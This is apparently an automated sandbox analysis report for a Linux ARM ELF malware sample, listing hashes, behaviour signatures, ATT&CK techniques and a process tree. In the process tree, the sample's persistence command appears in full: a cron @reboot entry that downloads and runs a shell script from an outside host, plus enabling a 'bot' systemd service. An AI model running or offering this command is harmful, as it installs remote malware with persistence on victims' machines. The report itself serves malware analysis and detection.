Analysis
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max time kernel
136s -
max time network
175s -
platform
debian-12_armhf -
resource
debian12-armhf-20240221-en -
resource tags
arch:armhfimage:debian12-armhf-20240221-enkernel:6.1.0-17-armmp-lpaelocale:en-usos:debian-12-armhfsystem -
submitted
27-10-2024 02:55
Static task
static1
Behavioral task
behavioral1
Sample
d105ded953a4f0bb32f38178fea5cb27ff01e1a3ec7958386fc973653bb3d125.elf
Resource
debian12-armhf-20240221-en
General
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Target
d105ded953a4f0bb32f38178fea5cb27ff01e1a3ec7958386fc973653bb3d125.elf
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Size
101KB
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MD5
ca210ee9b185a078d977e3f9f421e2da
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SHA1
99a8fdf8489095caf3ba316f5f75561400bb64d5
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SHA256
d105ded953a4f0bb32f38178fea5cb27ff01e1a3ec7958386fc973653bb3d125
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SHA512
fbbbda938ecfd86d1f0d6f445b32631dff779a29ebc936ca6379230555c1cb3d4a81e7cceaccf382775ce584012c0750e784a9c96de11ec0b16daf6036f9d02c
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SSDEEP
3072:JTnKSqnPWkyyRebaVf4GwBLFCsfIUuFeStQjX:JTnZmWkyDbaVf4GwBRCslusSOjX
Malware Config
Signatures
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File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
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Renames itself 1 IoCs
Processes:
d105ded953a4f0bb32f38178fea5cb27ff01e1a3ec7958386fc973653bb3d125.elfpid process 702 d105ded953a4f0bb32f38178fea5cb27ff01e1a3ec7958386fc973653bb3d125.elf -
Unexpected DNS network traffic destination 1 IoCs
Network traffic to other servers than the configured DNS servers was detected on the DNS port.
Processes:
description ioc Destination IP 194.36.144.87 -
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
Processes:
crontabdescription ioc process File opened for modification /var/spool/cron/crontabs/tmp.tEfHeO crontab -
Modifies systemd 2 TTPs 1 IoCs
Adds/ modifies systemd service files. Likely to achieve persistence.
Processes:
d105ded953a4f0bb32f38178fea5cb27ff01e1a3ec7958386fc973653bb3d125.elfdescription ioc process File opened for modification /lib/systemd/system/bot.service d105ded953a4f0bb32f38178fea5cb27ff01e1a3ec7958386fc973653bb3d125.elf -
Changes its process name 1 IoCs
Processes:
d105ded953a4f0bb32f38178fea5cb27ff01e1a3ec7958386fc973653bb3d125.elfdescription ioc pid process Changes the process name, possibly in an attempt to hide itself /bin/sh /etc/init.d/rcS 702 d105ded953a4f0bb32f38178fea5cb27ff01e1a3ec7958386fc973653bb3d125.elf -
Command and Scripting Interpreter: Unix Shell 1 TTPs 1 IoCs
Execute scripts via Unix Shell.
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Processes:
systemctld105ded953a4f0bb32f38178fea5cb27ff01e1a3ec7958386fc973653bb3d125.elfdescription ioc process File opened for reading /proc/filesystems systemctl File opened for reading /proc/mounts d105ded953a4f0bb32f38178fea5cb27ff01e1a3ec7958386fc973653bb3d125.elf
Processes
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/tmp/d105ded953a4f0bb32f38178fea5cb27ff01e1a3ec7958386fc973653bb3d125.elf/tmp/d105ded953a4f0bb32f38178fea5cb27ff01e1a3ec7958386fc973653bb3d125.elf1⤵
- Renames itself
- Modifies systemd
- Changes its process name
- Reads runtime system information
PID:702 -
/bin/sh/bin/sh -c "(crontab -l ; echo \"@reboot cd /tmp; wget http://hailcocks.ru/wget.sh; curl --output wget.sh http://hailcocks.ru/wget.sh; chmod 777 wget.sh; ./wget.sh\") | crontab -"2⤵
- File and Directory Permissions Modification
PID:705 -
/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
PID:709 -
/usr/bin/crontabcrontab -l3⤵PID:711
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/bin/sh/bin/sh -c "/bin/systemctl enable bot"2⤵
- Command and Scripting Interpreter: Unix Shell
PID:715 -
/bin/systemctl/bin/systemctl enable bot3⤵
- Reads runtime system information
PID:717
Network
MITRE ATT&CK Enterprise v15
Execution
Command and Scripting Interpreter
1Unix Shell
1Scheduled Task/Job
1Cron
1Persistence
Boot or Logon Autostart Execution
1XDG Autostart Entries
1Create or Modify System Process
1Systemd Service
1Scheduled Task/Job
1Cron
1Privilege Escalation
Boot or Logon Autostart Execution
1XDG Autostart Entries
1Create or Modify System Process
1Systemd Service
1Scheduled Task/Job
1Cron
1Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
302B
MD5a4e30f6ce6fb6cf00e133f3c93fb5449
SHA167b7de93a672ada4abfe11e339dc2e270c61b69d
SHA256a911f4bb5c69ad831fd6dc9004e52e656a846b2d7cbf152ab80c9b3928062ede
SHA512893cda7cdcb75aceef89c64a38004feff8e5867e7bc76c622a49adfbff3fbb2c7916de6165ed4c43b4c7dabb5b56271e5a1b8a08d02b84389da92ec177289c25
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Filesize
306B
MD50919d9b4cb8a0fbe406d94ca48080b1c
SHA1bfda5c0093cabd9b3fae9f38549e872ffbf1851a
SHA2569846262d801c240c9e95e57945caeab9e2353b9d8f70b0a3726373406fa40fd5
SHA512349b045def88bebe1fae4ae8e6c2a9f5f57b4fb874ff7dd0a6e1c2b2e808c4ebfca819a5b4f7217aa97200cc5908bc158020d385f9f30edd9540803791a49ad9